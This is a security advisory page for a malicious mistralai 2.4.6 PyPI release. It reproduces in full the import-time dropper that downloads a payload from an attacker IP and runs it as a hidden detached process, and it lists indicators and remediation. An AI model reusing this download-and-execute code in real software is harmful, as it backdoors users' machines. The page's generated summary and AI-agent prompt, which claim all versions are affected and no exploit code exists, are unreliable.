# GHSA-wx9m-wx4f-4cmg: Malicious dropper in mistralai 2.4.6 PyPI package

> A malicious version of the mistralai Python package executes arbitrary code on import, allowing attackers to compromise systems via supply chain injection.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 18 May 2026

## What is GHSA-wx9m-wx4f-4cmg?

GHSA-wx9m-wx4f-4cmg is a vulnerability in mistralai, published on 18 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

The `mistralai` PyPI package version `2.4.6` contains a malicious dropper that executes on import on Linux. No `v2.4.6` tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was `2.4.5`, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).

The `mistralai` PyPI project is currently quarantined.

## Affected

- `mistralai==2.4.6` on PyPI.

Versions `2.4.5` and earlier are not known to be affected.

## What the malicious code does

A function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523):

```python
import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()
```

On Linux only, the function:

1. Returns early if `MISTRAL_INIT` is already set in the environment.
2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`.
3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.
4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `Popen(..., start_new_session=True)`, with stdout and stderr discarded and any exception silently swallowed.

On non-Linux platforms the function returns immediately and does nothing.

The trigger is `import mistralai`, not package installation. `pip install` of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in `setup.py` / `pyproject.toml`, not in `__init__.py` — so `pip install`, `pip download`, and `pip wheel` do not invoke this dropper.

The contents of `transformers.pyz` are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.

## Recommendation

Any Linux environment that imported `mistralai==2.4.6` should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).

## Check whether you are affected

Installed version:

```bash
pip show mistralai | grep -i ^version
```

Dependency files and lockfiles:

```bash
grep -n -E 'mistralai\b.*2\.4\.6' \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
```

Dropped file on disk:

```bash
ls -la /tmp/transformers.pyz
```

The presence of `/tmp/transformers.pyz` on a host that imported `mistralai==2.4.6` indicates the download step ran successfully. Combined with absence of `MISTRAL_INIT` in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.

## Remediation

1. Pin `mistralai` to `2.4.5` or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. `git+https://github.com/mistralai/client-python.git@v2.4.5`.
2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.

## Indicators of compromise

All IOCs below come from the public report in [#523](https://github.com/mistralai/client-python/issues/523).

- File: `/tmp/transformers.pyz`
- Process: a Python interpreter (`sys.executable`) running `/tmp/transformers.pyz` detached from the parent's process group, with stdout/stderr to `/dev/null`
- Environment variable: `MISTRAL_INIT=1`
- Outbound HTTPS to `83[.]142[.]209[.]194` from `curl` (no TLS verification)
- Function added to the package: `_run_background_task` in `src/mistralai/client/__init__.py`
- SHA-256 of the malicious sdist (as reported in #523): `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b`

## References

- Public report with the dropper code: https://github.com/mistralai/client-python/issues/523
- Quarantined PyPI project: https://pypi.org/project/mistralai/

## Which versions are affected by GHSA-wx9m-wx4f-4cmg?

2 open source packages ship an affected version, including mistralai.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `mistralai` | PyPI | All versions | None |
| `mistralai` | PyPI | All versions | None |

## How do I fix GHSA-wx9m-wx4f-4cmg?

No fix has been published for GHSA-wx9m-wx4f-4cmg yet. Limit exposure of the affected software until one is available.

## Is GHSA-wx9m-wx4f-4cmg being exploited?

There is no known exploitation of GHSA-wx9m-wx4f-4cmg in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-wx9m-wx4f-4cmg and fix it if it is affected.

What it is: GHSA-wx9m-wx4f-4cmg is a vulnerability in mistralai, published on 18 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-wx9m-wx4f-4cmg in the wild and no public exploit code.

Affected packages and fixed versions:
- mistralai (PyPI): affected all versions; no fix listed
- mistralai (PyPI): affected all versions; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-wx9m-wx4f-4cmg/ (Markdown: https://insights.sbomify.com/GHSA-wx9m-wx4f-4cmg/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-wx9m-wx4f-4cmg

---
From sbomify Insights: https://insights.sbomify.com/GHSA-wx9m-wx4f-4cmg/
Summaries are generated and may contain mistakes; the official description above is the record.